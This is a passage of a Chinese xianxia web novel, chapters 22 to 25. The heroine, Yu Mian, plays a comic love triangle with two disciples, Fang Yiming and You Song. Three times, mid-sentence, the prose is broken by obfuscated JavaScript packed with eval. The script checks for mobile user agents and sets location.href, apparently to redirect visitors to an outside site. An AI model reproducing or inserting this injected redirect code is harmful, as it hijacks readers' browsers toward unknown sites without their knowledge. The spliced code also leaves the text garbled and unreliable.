又不能把这两人揍得太狠了,毕竟过几日还有试炼比试,让这两人负伤上场说不准会让自己队伍输了比试。 喻眠边走边想,心中咬牙切齿,让她难得失了看周围好风景转变的心情,没有意识到自己已然经过外门执法堂。 肩顶雪鸮鸟的黑衣李玄琳站在执法堂前,看喻眠今日没有像以往一样老鼠见了猫似得逃着自己有些意外,想到今日传言听到的消息又有些了然。 想必喻眠是刚刚求爱成功太过高兴于是才不畏惧执法堂了,能理解。 李玄琳一笑,黑纱浮动,她抬步缓缓走下白砖台阶,轻拍喻眠右肩。 又是沉浸在自己思绪的情况下右肩被突然一拍,相似的场景激得喻眠浑身一抖,肩膀一耸站直身体陡然转身,看到李玄琳那张带着面罩的脸更是吓了一跳,以为自己又犯了什么事被执法堂抓了个正着,身子后倾问道:“师妹午好。怎么了?我最近没犯事吧?” “没事不能找三师姐说说话吗?”李玄琳哂笑一声,暗哑的嗓音带着对喻眠的打趣。 喻眠知道自己没犯事就没有那么畏惧,松下紧张的身体,轻拂去肩上的手道:“李师妹找我寒暄当然是可以的,只是能不能下次不要突然这么拍我,怪吓人的。” “好。”李玄琳应下道,“不过三师姐被拍了一下怎么这么大反应?” 喻眠感受到李玄琳探究的目光投到自己身上,她有些不自在,但又怕被李玄琳认为是做贼心虚,还是扯开话题道:“师妹找我是想要说什么话呢?” “我来祝师姐新婚快乐,恭喜师姐结得情缘。”李玄琳沙哑的声音道喜完,肩上的雪鸮鸟也尖尖叫了两声配合道喜。 听到这话喻眠鼓起嘴巴,鼻腔里呼出一口气,想要和李玄琳解释清楚。 李玄琳接着说道:“三师姐婚讯来得太突然了,我也没有办法提前准备什么礼物,要不我给师姐放个婚假如何?既往执法堂记录过错一概不究,师姐参加完已经报名好的试炼比试后大可以休息去享受燕尔新婚了。” 闻言喻眠眼睛一亮,张开的嘴没有再解释只是假模假样地咳嗽了两声,应下了李玄琳说的话深情道:“多谢师妹祝福,师妹的这份来自执法堂的婚假自是最好的礼物。毕竟我是那样喜欢我的情缘,一见倾心,付之心血,能得到这份燕尔新婚陪他回门的时间真是太幸福了。” 一旁中午散步路过执法堂的方溢鸣听到这话顿时整个人愣住了。 这次结情缘不是考验吗? 喻眠难道真的……这么喜欢自己吗? 方溢鸣隐去身形,一边偷听二人的对话,一边内心不断纠结。 如果只是形式上的结情缘,那他为了学习剑道答应并无不可。但若是情缘另一方动了心,那这份情缘就不能称之为形式了,他方溢鸣也成了为了自己的求学之心辜负爱人的小人,他怎么能做出这样的事呢? 难道说……今日二人的交谈其实也是对自己的考验?考验自己能否在知道自己可能辜负他人的情况下,毅然决然地选择放弃既定的修行之路来珍重他人? 可是那日自己听闻喻眠可能在白云间为非作歹危害弟子时便放弃求学剑道不已经能体现这点了吗?为何还要再另行考验? 二人并未察觉方溢鸣到来,依然在做交谈。 “三师姐已经晋升了二阶?我这才发觉?是因为刚刚新结了情缘吗?”李玄琳感知到喻眠身上的灵气波动有些哑然,“结情缘这么有用的吗?我卡在二阶多年,若是结情缘有用我也去结一个。” “……师妹,你是不是忘了自己修的是无情道?” “那更好了,结情缘升一阶,杀夫证道再升一阶。”李玄琳暗下神色阴惨惨地笑着开口道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818719|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原处还在一旁认真分析的方溢鸣听到李玄琳说的话顿时一吓。 喻眠好像貌似的确靠和自己结情缘升到了二阶,和自己结情缘难道根本没有自己想的那么复杂,就是单纯为了养着自己当储备粮,等之后修炼到瓶颈卸磨杀驴,再杀夫证道? 方溢鸣踉跄退后两步,自己虽是天器谷的核心弟子,但是现在在白云间的地盘也是强龙也怕地头蛇,双髻圆脸红衣杏眼少女在他眼中此时宛若恶鬼。 凡间自古都是忠信难两全,为何偏偏到了自己身上就是性命和求学剑道难两全了? 答应结成情缘,就会被恶鬼少女当成储备粮豢养身侧,只等瓶颈期杀夫证道;拒绝结成情缘,就会未能通过考验,无法学习白云无情剑。 方溢鸣第一次能理解第一次见到喻眠那天悲伤凄苦的表情,他觉得自己现在就万分悲凉。 原来无情道修士真的如传言那般恐怖,传言只是杀了多年相熟的师父证道,而今日的白云间少门主喻眠甚至可以杀了相见未满半月的名义情缘证道。 喻眠耳朵尖利,能在人群嘈杂声中分辨出具体人音,此时此刻也听到了方溢鸣的踉跄声。 循声看去,白云间外门本就绿植不多尘土飞扬,方溢鸣的身形便不能完全遮掩。 喻眠认出是昨夜给自己黄品砚台的大好人,以为他正好刚刚路过,欣喜挥手。 在方溢鸣眼里这则是少女见到心上人储备粮的欣喜情切。 他心中担忧,却还是站出身形,对着喻眠回以招呼。 “这位是这次外门试炼中的那个器修方溢鸣吗?喻眠你和他认识啊?”李玄琳看到两人互动,暗哑的声音出声道。 喻眠点了点头:“嗯。这就是我新结的情缘。” 那位刚刚说着“杀夫证道后可以再升一阶”的李玄琳哦了一声,再次批了婚假贺喜。 喻眠见今日的李玄琳格外好说话,打算臭不要脸地再找她延长一下婚假和要一下宽恕期,比如这一个月再看到她违规用灵力吹个头发这种小事就不要惩罚了。 就在这时,方溢鸣站直身子,爽朗正气的声音张口道:“喻眠,我们的情缘,就此结束吧!” 两人都朝方溢鸣投去困惑懵圈的目光。 方溢鸣见两人表情单纯,并不像是什么听了他这番话担心坏事干不成的样子,便又以为刚刚二人那句杀夫证道是在相互开玩笑打趣。 可君子一言驷马难追,思忖片刻此时处境又不好反悔。 方溢鸣在思考,喻眠也在思考。 貌似此时此刻拒绝方溢鸣的确并无大碍,总归按照大师姐个性不会旧事重提昨日说她鬼话一事,自己不会再被关禁闭影响自己拯救师姐,同时大师姐那样的人感觉也不太可能爱上自己师妹的前情缘,加之正巧自己原本也打算想办法不要让自己莫名奇妙地和方溢鸣结缘,现在应下方溢鸣的分手邀约可谓是正好啊。 但是喻眠还是拒绝了方溢鸣的分手邀约。 不管喻眠是因为什么原因要和自己结成的情缘,方溢鸣都想不明白为何喻眠会这样在第二天就轻易同意他的毁约。 难道……喻眠真的爱自己爱得不可自拔?但是这几天看来并不像啊。 有如此困惑,方溢鸣便问出了声:“你为什么不同意呢?对不起,我不明白。” 喻眠听到方溢鸣问自己,心中尬笑。 当然是因为她的确被李玄琳说的杀夫证道升阶说动了啊。 哈哈。 这样她岂不是就成了全修仙界唯一一个尚未到及冠之年就修道三阶,灵气化本命武器的天才了。 而且……比起和方溢鸣结成名义情缘,然后考验他和大师姐的道德感,还是直接人死如灯灭来得更加斩草除根吧。 但是喻眠总不能真的这么说,她眼睛圆溜溜地一转,然后看着方溢鸣笑着一吐舌头,说道:“是这样的,你我今日刚结情缘消息就莫名全白云间都知道了,我今天收了不少喜气话和如李玄琳送来的婚假般的贺礼,若是我们直接断了情缘,大家晚上知晓了怕是以为我是专程来骗礼金的呢。” 双髻少女说谎说得认真,说话不打草稿却万分自信,旁边审问过不少人的执法堂李玄琳听了这话都信了。 不过方溢鸣第一次来白云间,并不知道白云间弟子对于喻眠的热切和林小满传八卦的能力。 怎么可能昨日下午才结的没有任何仪式的情缘白云间那么多人都知道了呢?甚至都已经准备好了贺礼要送上来了呢? 不信。 喻眠肯定是太喜欢自己了,昨天又深情告白过一次了今日不好意思再说。 看着双髻少女这份故作有其他原因的坚强样子,方溢鸣越想越愧疚,虽然装作毫不知情地和喜欢自己的女孩子结为形式情缘是辜负,但是在两人结为情缘的第二日就拒绝对方也是伤害。 方溢鸣抿起唇,没有再提结束情缘这件事,只是亏欠说道:“那……我为你再炼一支黄品毛笔吧。就当也是我为你准备的结情缘贺礼了。” 李玄琳在一旁实在听不下去了,肩上雪鸮鸟咕咕叫了两声道,她阴阳道:“太厉害了,新婚丈夫给妻子送贺喜结婚的礼金吗?有趣有趣。喻眠,你收了礼金那办酒宴时是不是也要邀请他方溢鸣啊?” 虽然这次李玄琳阴阳的是方溢鸣,但是喻眠感觉自己也被无故中伤。 双髻少女眨了眨眼,亲近笑着拉过李玄琳的手道:“好了师妹,别逗他了。” 万一给他逗急眼不给自己送上门来的黄品毛笔怎么办? 方溢鸣听到喻眠袒护自己,内心一阵触动,更加坚信少女的确是喜欢自己,否则为什么要这样在李玄琳面前说话呢。 方溢鸣抬眼看过艳阳高照的天,又看着阳光下对自己真诚微笑的双髻少女,感动开口道:“喻眠,你的袒护让我太感动了。你放心,我觉得不会愧对你的这份关照!我是不会为你炼毛笔作为贺喜礼物让你在白云间丢人的!” 喻眠:? 如果能有黄品毛笔的话,那么她认为丢不丢人其实也不要要紧的! 喻眠连忙放开拉着李玄琳的手,为了自己的黄品毛笔对着方溢鸣大骂特骂起来,以表明自己绝无袒护方溢鸣之心,纯粹是他自己想多了:“做人不能太自恋了方道友。别人和自己师妹随口说句话打趣,在你眼里就成了袒护你了?其实世界上没有一个人在乎你哈,少自作多情。” 方溢鸣闻言双眼一怔。 喻眠这是……太喜欢自己被戳破的不好意思吧? 然后再给自己留下了期望,希望他不要太过于自恋,也恋一恋旁人比如喻眠自己。 虽然之后的话喻眠说话的语气重了一些,但是他能懂少女犀利话语之下的心思——她一定是太喜欢自己了。 要是不喜欢自己为何要拒绝自己分手邀请?要是不喜欢自己刚刚为什么要在她的师妹面前袒护自己?要是不喜欢自己最开始又为什么要和开那些杀夫证道的玩笑? 她最后一句掩人耳目的“不要自作多情”一定是为了使自己安心地继续接受这份情缘考验!喻眠一定是听完他的分手邀约得知了自己发现她的心意,明白了自己宁舍弃求道也愿不辜负情缘的真心,于是用比较凶悍的用词告诉自己其实她并不在乎自己,让他继续安心参与试炼。 这是何等一个聪慧体贴的双髻少女啊! 要不是自己敏锐地发现了少女凶悍用语下的真正意思,这会儿肯定以为少女就是单纯地骂自己呢。 方溢鸣握紧了自己的拳头,一个向来大大方方的少女,都因为他开始婉转助人,这真的是自己的大不对。 愧疚之下方溢鸣猛然抬头,注视着喻眠道:“不必多言,你的心思……我都懂!” 还在喻眠有些懵地想自己有什么心思是不是骂得还是不够狠的时候,方溢鸣已经接着开口了:“喻眠,你放心!我会为你继续炼制黄品毛笔的,不、是玄品毛笔!不然该怎么对得起你的心意!既然作为贺礼会让你在白云间丢人,那么就当做是我的歉礼赔罪!” 骂了人家一顿不仅重新拥有毛笔,黄品的毛笔还竟然变成玄品,喻眠喜上眉梢。 大师姐要从方溢鸣那里搞个黄品砚台还需要传授人家剑诀,自己就只需要和人家言语简单沟通几番就能敲诈到玄品毛笔。这么一想自己还是很厉害的。 李玄琳在旁蹙眉看完这场闹剧,只觉得两人脑回路都不太正常,她并不想待在这里继续看下去了,便先向喻眠打了招呼转身回到执法堂。 热闹的三人交谈突然有一人冷不丁提出要离场,场面便会瞬间安静下来甚至有些尴尬。 喻眠于是也向方溢鸣提出就此别过,她要去找林小满和尤宋。 方溢鸣不认识林小满,但是他知道自己的舍友尤宋,昨夜他回来后魂不守舍,暗自哭泣了整宿,他昨日安慰对方自己和他心上人结情缘只是一场考验也并没有用,现下被喻眠再次提到心中也是有几分担心他,便提议和喻眠一起过去看他。 喻眠想了想觉得有人跟着也无妨,便就答应了方溢鸣的提议,两人过去一起找方溢鸣。 只是去找尤宋算账的那人不知道另一人是为了安慰失魂落魄的尤宋而去。 去安慰尤宋的那人不知道另一人是为了找尤宋算账而去。 两个抱着不同目的的人就这样一起到了练武堂,去找相同的尤宋。 “尤宋,你没事吧?” “尤宋,你快点给我滚出来!” 一道男声和一道女声同时在练武堂响起,两人震惊对视对方口中所言。 还未待两人从震惊的情绪中反应出来,练武堂的人群在听出喻眠的声音后一群人纷纷围了过来,吵吵嚷嚷的动静引走了二人的注意。 练武堂正门不算大,一群人围过来现在是把门口堵了个水泄不通,喻眠两人现在进入执法堂都是件难事。 双髻少女再次看到纷乱的人群微微皱起眉头,懊恼自己还未适应外门生活,随意就在公共场合张扬出声。 此时这么多人围过来,再找尤宋就不是易事了,若是尤宋此时突然脑子机灵起来,他甚至有可能反应过来趁着人群纷乱逃走。 方溢鸣看出了喻眠面上的焦躁,安抚道:“你是为了人群纷扰寻找尤宋而担心吗?别着急,说不定他听到你要找他就自己出来了。” 喻眠扯开嘴角道:“不过哪怕他想要自己出来,现在的人群也堵得他出不来了。” “少门主是想要找尤宋是吗?”为首有一名弟子听到二人谈话出声道。 “哎哟这还需要向少门主确认吗?你没有长耳朵吗?走走走,我们快把尤宋那小子给少门主带过来。” “你个呆头,人家那是为了向少门主确认了再行事好邀功,笨。” 喻眠看着外门弟子们又自己人和自己人吵成一片,然后又闹哄哄地一群人往练武堂里面走,接着尤宋就被架在人群中给抬出来。 林小满本就是八卦王,加上手持少门主的灵气化剑赢得比试一事,在外门的熟识度不用多提;喻眠外门比试队伍里的另一人尤宋也因跟着少门主队伍混过第一轮即将躺赢小有名声。 今日尤宋来练武堂找林小满练习准备下一轮的比试,不少人都瞧见了,现在再揪出尤宋来送到少门主面前来自然并非难事。 粉衣少年似乎还没有搞清楚现在是什么情况,表情有些懵,今日他束了高高的发,双手抱住胸前,眼神顺着人潮汹涌朝练武堂外看去。 他先是瞧见一席红衣的黑发双髻少女他双眼一亮,高兴着自己心上人今日竟主动愿意来找自己,还让人把自己带到她的面前,少年表情微微羞涩,准备起身下来去迎接喻眠。 但是身下架着少年的外门弟子只是以为他要逃跑,加强了束缚不让他走。 少年实力不佳,挣脱不开束缚,只能乖乖被架着,然后楚楚可怜地看着喻眠。 这一看就看到了喻眠身旁的方溢鸣,那个假惺惺的贱人。 少年看着他对自己投来的关切眼神咬牙切齿。 装模作样,若是关切自己又为何在倾听完自己情愫后和喻眠在一起?! 什么关切,明明是示威。 这个贱人。 而他的心上人喻眠竟然还和他继续待在一起,甚至是两个人一起来找自己。 尤宋几欲垂泪,他对喻眠投去了委屈的眼神,但是前来找自己的少女并没有理解他的情绪,只是看着自己,却没有和身边方溢鸣分开。 尤宋生气,却挣脱不开束缚着他的众人,只将自己原本整齐的衣衫弄得凌乱。 他看着不远处紧紧挨着一直没有任何避嫌意思的二人,尤其是没有一点帮他解围,只是高高在上让弟子架着他过来的喻眠,尤宋陡然间放弃了挣脱束缚。 他停下了动作,留下两行清泪来,再次看向喻眠,这次眼神没有刚刚的喜悦,他只是倾诉负心人般地哭诉道:“你既然选择了他又为什么还要来找我!我难道没有自己的骨气和尊严吗?我尤宋是不会给你当小做妾的!” 少年充满傲骨的话音掷地,惊得架着他的弟子有几个力道一松,险些将他摔落至地,将尤宋震得上上下下一动。 这是怎么回事? 少门主刚刚那个语气不是来找尤宋算账的语气吗? 怎么变成找人家当小妾了? 明明他们一直在现场看着啊?是什么时候发生了什么他们不知道的事?让事情变成了这样? 而且什么做妾当小的,这是他们这些普通弟子可以听到的现场吗? 旁观弟子中数道震惊的眼光朝尤宋刚刚看向的喻眠和方溢鸣二人身上投去。 先前听林小满说少门主突然结情缘,有不少人都以为是她又来忽悠大家听她讲八卦的假故事,看现在这样子难不成林小满这次说的真事? 少门主真的突然结了情缘,然后现在这来找尤宋来当小? 但是看喻眠本人现在也是一幅震惊的样子啊,难道说其实这还是一个假消息,只是这个尤宋当了真? 但是尤宋当真后像现在这个样子哭诉,就好像少门主的确辜负了他一样,是不是两人原先真的有什么故事,所以他误会后才会这么难受呢? 话题中心的喻眠也是无比的震惊啊。 咋回事呢这是。 情劫二号突然叽里咕噜说什么呢,她怎么听不懂呢? 喻眠苦思冥想,然后终于想到了昨日尤宋梨花带雨跑开前说的话。 似乎是在说什么方溢鸣是个贱人,勾搭走了他心上人的心思啊什么的。 等等,这不对吧。 方溢鸣不是刚刚还打算安稳尤宋做好人来着的吗? 喻眠震惊地看向方溢鸣。 所以他这是勾搭完人家心上人再去安慰人家吗?这是什么禽兽行为? 方溢鸣面对喻眠的目光没有惭愧,反而有几分对她的担忧, 双髻少女原先还在想他在担忧自己些什么,然后感受到周围众弟子看向自己的目光突然有些恍然大悟后的怔然。 难道说……尤宋喜欢的是自己吗? 刹那间,所有事情在她脑海中穿成串儿,昨日尤宋夺门而出前说的话,昨日自己推门而入前尤宋说的话,昨日尤宋莫名其妙的模仿式告白。 喻眠颤抖起嘴唇,看看啜泣垂泪的尤宋,看看目光担忧的方溢鸣,看看震惊的弟子们。 她想了想,闭上眼睛,做了决定。 为了将情劫二号也一鼓作气地解决掉,让他收起心思不要再去祸害她大师姐的性命,喻眠还是心一横,对着尤宋说道:“既然你不想做妾的话,那就你来当我的正宫情缘吧。” “所以现在是什么意思?天才器修方溢鸣来给少门主做小吗?”一直藏在人群中吃瓜的林小满忍不住震惊开口道。 23. 第二十三章 方溢鸣在听到林小满的话后“啊”了一声。 “这都什么跟什么啊?”他揉了揉太阳穴叹了口气道。 喻眠却以为他是在认真发问,于是瞪过林小满后自己也凑到他耳边小声认真解释了起来:“你看啊,咱两的情缘不就是形式功夫,走个考验的过场吗?那你当大房还是小妾都无所谓呀。尤宋是个文盲笨蛋,他想当正宫你就让他当呗,反正也不妨碍咱两的情缘关系,你让让他点。” 方溢鸣拨开了耳侧凑近的脑袋,微微皱眉又展开,转过头对喻眠的眼睛认真说道:“小妹呀,你这样做是不对的。尤宋不是你想的那种人,他追求的不是什么当妾做大做小,他想要的真诚如一的爱情。你这么做不仅安慰不到他,反而会让他更加难过,这不是给他他想要的爱,而是轻贱。如果你和我一样想要让他不这样难过的话,我们还是解除情缘吧,我通不通过考验学不学无情剑决不打紧,我只是希望你们都能开心。” 方溢鸣没有刻意压低音量,加上他在喻眠说话时大家都好奇二人的交谈内容,便也没有再相互交谈反而提起耳朵安静下来,他清朗的声音和话语的内容便可使全场听清。 一份舍己为人的、高洁的、劝解的话语。 “啧。装什么呢?你方溢鸣的‘溢’字是‘茶香四溢’的‘溢’吗?” 尤宋的眼睛依然红通通的,但是他却没有再哭了,浅红色的嘴唇弯弯,他并没有被触动,只是并不客气地看向说话的方溢鸣道:“你既然这么大度想让大家都开心你就听喻眠的来做小呀,我不介意的呢。我只会像你说的一样很开心。” 说完他有些恶劣地笑了笑,他衣衫凌乱,表情却十分挑衅:“不仅不介意我还十分高兴,毕竟大家都要开心嘛,我怎么舍得让你学不到剑法呢,嗯?” 粉衣少年脸庞白皙,眼眶湿润,面上红色泪痕,纤长的睫毛似为那双秾丽的眼睛遮出一片阴郁的阴影,他就这样笑着被弟子们束缚着看向方溢鸣,表情挑衅。 这个贱人就是故意茶言茶语地表面关心自己其实装可怜呢。 他什么时候有说过自己想要真诚如一的爱情了?有吗? 虽然他的确是这么想的,但是他从来没有对方溢鸣说过啊。 他都没有说过,方溢鸣怎么能知道这件事呢? 既然方溢鸣不可能知道这件事,那他说这些话能是好言好语的宽慰吗?肯定是挑衅。既然是对自己的挑衅,自己就要回击回去。 尤宋自己笨,便也不觉得其他人能聪明到猜出来别人的心思。 不过哪怕他知道了是方溢鸣自己猜出来的,不是对他的存心阴阳他也不在乎,依然照怼不误。 毕竟方溢鸣可是前脚刚刚倾听安慰了自己的感情心事,后脚就和安慰对象的心上人结情缘的贱人,这样的人现在说的好话又能有几分用心和当真? 尤宋不屑地在心中轻嗤哼了一声。 方溢鸣表情一怔,然后笑着答应了下来了尤宋的要求:“既然你不介意,那好吧。欢迎你的加入。” 说得跟“白云间欢迎你的加入”似的。 而且这个语气算什么? 小妾欢迎正宫加入这个家庭? 最关键的是,为什么方溢鸣能答应自己说的话。 笨笨的尤宋垂下纤长的睫毛思考,却想不明白,只是迟疑地看向喻眠,眼神充满求助。 喻眠只是眼神溜溜地一转儿,觉得现在的局面简直是皆大欢喜。 她同时解决掉了情劫一号和情劫二号两个祸害; 尤宋当上了他想当的正宫; 方溢鸣可以开开心心地当小妾版情缘继续学习剑诀。 他们都有光明的未来。 方溢鸣看到尤宋不再垂泪,喻眠面上喜气洋洋,他的内心也十分满足。 尤宋现在不会难过了,他和自己的心上人成功在一起了,等自己学完剑法功成身退他也可以圆和心上人一生一世一双的梦; 喻眠那么喜欢自己,借着考核想要和自己在一起,刚刚还不舍得与自己分手非要袒护他,现在虽然他方溢鸣身份上变成了妾室,但是依然没有和她分开,她应该也不会再难过了。 他成功安抚了所有人,自己也可以高高兴兴地学习剑道了,他很知足。 他们很高兴,吃瓜的众人却是看呆了。 进来前说的不是“尤宋你没事吧?”和“尤宋你快点给我滚出来!”这两句话吗? 怎么现在既没有狠狠收拾尤宋一顿,也没有让尤宋平复下情绪呢?他看着还是很不开心不解的样子啊? 而且他们刚刚听到的东西未免也有点太过于离奇且混乱了。 像这种事情真的是可以让他们现场听到的吗? 按照修仙界的表面高洁内里阴暗的德性,这种事情不应该是瞒着大家最后藏不住了溜出消息来的吗?现在这是什么情况? 这种事完全不避人了吗? 还是说少门主赤子之心格外纯粹,完全没有意识到这种事情是不对的。 林小满却没有想那么多,看到眼前如此劲爆的一幕只觉得头皮发麻,她偷偷退后几步,想要再次成为第一个传出去消息的人。 喻眠本就余光一直盯着也要算账的她,看到她的动作收起面上微笑,叫住林小满名字,硬生生让她停下步子。 林小满被叫住后身体一震,转过头来,表情一副反应过来的样子,垂头丧气地向喻眠走来,表情有些焉哒哒的。 她周围身边人给她让开道来,目光却也是盯着林小满看。 场上所有人都猜到大抵是林小满早上传出来的那个少门主结情缘的八卦惹她不快,便也好奇着发展细细地盯着看。 林小满一直低着头走,直到快要挨着喻眠了才磨磨唧唧地停下脚步,想来是在拖延面对批评的时间。 距离太近喻眠闻到了林小满发丝上淡淡的木头味,可能是她刚刚在练武堂练习时脑袋撞了墙壁沾上的味道。 想到林小满正在为他们的外门试炼努力,昨日也帮她辛苦取得胜利,喻眠又有些软下心思来。林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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让方溢鸣帮忙练器吗?但是使用自己师长的灵气化剑都违规,使用朋友的器物又怎么能合规呢? 紧急训练林小满让她达到能够像拥有灵气化剑时一样稳稳拿下两场的水平?那岂不是得让她短短几日直接成功入道无情道一阶,让她有道气附体?人家几年都没有做到的事情自己几天能帮助她成功吗? 诶。 或许有另一个人可以在短时间内入道成功。 喻眠余光扫过面容秾丽的粉衣少年,心中冒出了一个全新的打算。 无情道的心法上说了,巨大的情绪波动往往会让一个人对于有情无情的道法产生新的理解从而进阶。 现在尤宋这个大起大落感情上头的心境,就很适合被她搓磨搓磨然后趁机进阶一阶无情道。 看看今天尤宋在练武堂的样子,再回忆回忆尤宋昨天破门而出的样子,这是何等大起大落的感情啊。 不敢想象倘若她现在说出完全对尤宋不感兴趣,她刚刚就是说着玩的,其实她甚至连让尤宋做小的打算都没有,尤宋的内心该有多么得破防和难以忍受。 24. 第二十四章 如果尤宋最近好好学习了无情道心法,听到自己的拒绝,他又会不会甚至当场突破无情道一阶呢? 在白云间只要能突破无情道一阶的外门弟子可是不用考核就直接去内门了。 如果尤宋突破到了一阶,那他在这场外门试炼中就可以像拥有灵气化剑一样降维打击,他们队就能顺利地在比试中取得第一。 喻眠觉得自己的想法很好,自己很聪明。 她对着正看着自己的林小满点了点头,没有直接回话自己关于可能要面对的重赛的尤宋进阶计划,而且转过头笑着看向尤宋道:“还在低头想什么呢尤宋?我有话对你说。” 听到喻眠的声音,尤宋不再思索方溢鸣为什么能答应自己说的话,抬头看向喻眠。 粉衣少年发型有些乱,几缕碎发遮盖在额前,微微颤动着他纤长的睫。 他吞咽了一口口水,小巧的喉结滚动,手指交织,大拇指交替,看得出来他对现在被喻眠叫住这件事有些微微的紧张,像是自己脑补了一些什么。 “喻眠你要说什么呀?”他的喉咙发紧,话音有些软,是这些日子说话最柔和的一次,柔和的都有些不太像他,“我先说好了,如果是要和我结情缘的话可不能像对方溢鸣那样随意,仅仅是一句哄哄人的话可不行。我要鲜花,要告白,要你郑重地和大家介绍我。” 说完话他有些不太好意思再盯着喻眠看,只是撇过头去,能隐隐看到头发遮盖下粉白皮肤透出红。 喻眠笑得更温柔了:“不好意思,我没有想到你真的会同意‘作为迟到的第三者,然后再以正宫的身份加入别人的情缘之中去’这种事。我最开始说的让方溢鸣做小你做大的话,只是想让你主动拒绝这份情缘关系的手段。尤宋,其实我根本没有喜欢过你,抱歉。” “那你刚刚听到方溢鸣说愿意给咱两做小后还那么高兴?”尤宋耸了耸鼻子,皱眉道,“喻眠,你不要和我开玩笑了,我不喜欢这样没分寸的玩笑。” 如果尤宋把自己说的话当成是玩笑而不是认真地在拒绝他,他还怎么感情破碎痛彻心扉大彻大悟后进阶呢? 喻眠回道:“我那不是觉得高兴,而是觉得好笑,觉得他说欢迎你加入这句话一本正经的样子很好笑。” 尤宋和现场的弟子们并不相信这话。 大家可是听到喻眠最开始是自己对尤宋说的既然他不想做妾就你来当她的正宫情缘的。 她是想要尤宋做小方溢鸣做大的。她都能这么想了,怎么可能会从来没有喜欢过尤宋呢? 现在可是不仅说自己从来没有喜欢过,还说方溢鸣答应做小后只是因为他说话的语气而笑,怎么可能被众人相信。 众人的表情都不甚信服,对于为什么喻眠突然出尔反尔不和尤宋在一起小声讨论了起来。 还有人在窃窃私语少门主是不是有了什么和灵气化剑一样好的法子,不然为何听完林小满说的事后还在处理和尤宋之间情情爱爱的事。 “够了!小妹你不要为难,让我来说吧。”方溢鸣突然出声道。 “她高兴是因为她喜欢我,听到我愿意为了和她在一起甚至屈居于做小,她没有想到我也这么爱她,她太高兴了。”一心认为喻眠喜欢自己的方溢鸣挺直身子说道,“至于现在和你分手,那是因为她不舍得让我做小,更不愿意让她和我之间的感情再加入第三个人。” 喻眠:? “方溢鸣!我和喻眠之间的事,哪里有你说话的份?”尤宋转过头,气恼让他的脸比刚刚更红,就连脖子都染上红意。 虽然双髻少女有些困惑方溢鸣在说些什么,她自己怎么不知道自己是因为这个高兴的,以及困惑为什么突然在她和尤宋说话时说这些。不过总归是在帮自己解释,对自己有利,便也由着他说。 “方溢鸣说的对,就是他说得这样。”喻眠道。 “可你刚刚不是这样解释的!”尤宋听到喻眠帮方溢鸣对着自己说话,眼眶又盛出泪来。 “啊,那个啊,刚刚啊。”喻眠面瘫地说道,“刚刚这么说可能因为我不好意思把对他的爱展现得这么明显吧。” “那你最开始还对我说‘既然你不想做妾的话,那就你来当我的正宫情缘吧’!” “啊,这个啊,这个是因为……”喻眠拉长尾音,在想怎么和尤宋解释。 方溢鸣对少女投去一个眼神,然后抢过话对尤宋说道:“好了,尤宋,我们今天过来找你就是想要来安慰你的。你可以问问旁边的弟子,我来练武堂说的第一句话就是问你有没有事。喻眠那肯定怕你听到自己没有办法和她在一起后难过,但是你又不愿意做小,于是想要通过让我让度正宫之位做小妾的方式和你结情缘,让你做上想做的大房开心一点。只是她太喜欢我了,不舍得让我做小现在反悔了。” “对,就是这样。”为了彻底摧残尤宋的内心,喻眠听完还如小鸡啄米似地点头。 “你说的话是安慰人的没事吧,喻眠说的话可是‘尤宋你快点滚出来’!” 尤宋被架走的时候听到了他们架他走的原因,就是因为这句话,他知道二人分别说了什么。 “我的意思是,尤宋你快点滚出来我要来安慰你了。”喻眠面瘫道。 众人:…… 架着尤宋的弟子听到这里,默默放下了尤宋,解除了对他的束缚。 他们的束缚能力很强,上周在外门听林小满八卦时架着乱使用灵力吹造型的喻眠去一个执法堂的也是他们。 几个人还对尤宋道歉:“不好意思啊我们听那话以为少门主是来找你算什么账的才束缚住你,没想到是来安慰你的啊。” 尤宋没有搭理他们,只是双目垂泪,跑到喻眠身前哭道:“所以你是真的是一点都不喜欢我吗?” “我现在不喜欢你,以及未来也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她为了阻止大师姐在青山剑试炼中发生这些事,为了拯救大师姐不让大师姐死,所以才想着不要让大师姐和尤宋方溢鸣三人一起去青山剑试炼。 而不让他们三人一起去的办法就要通过外门试炼的比试,让最后决胜的队伍不是他们三人的队伍,而是自己的新队伍。 可是她今天最开始借着尤宋的话说什么做大做小的就是为了同时将情劫一号情劫二号一网打尽啊! 刚刚她都成功让情劫二号给自己做大情劫一号给自己做小了啊!那他们不管参加不参加什么青山试炼,都没有办法祸害大师姐了啊! 那这个为了决定青山试炼名额而举办的外门比试赢不赢输不输都不重要了,重要的是趁胜追击,让尤宋继续和方溢鸣撕逼争宠,让两人彻底没有精力去祸害她的大师姐! 可是现在她竟然本末倒置,为了赢得什么外门试炼,当比试的第一名拒绝了尤宋的示爱? 25. 第二十五章 喻眠一边跑着追尤宋一边懊恼自己刚刚没有想明白这个道理。 现在好了,只能亡羊补牢,追上尤宋再和他说明。 尤宋没有搭理她在身后的叫唤,只是自顾自地含泪奔跑着。 喻眠只好想着追到他迫使他停下脚步再说。 她不知尤宋要跑去何方,只是随着他的脚步,两人渐渐跑到了内门一座精致的朔林竹院。 周围环境甚好,流水曲觞,亭台楼阁。 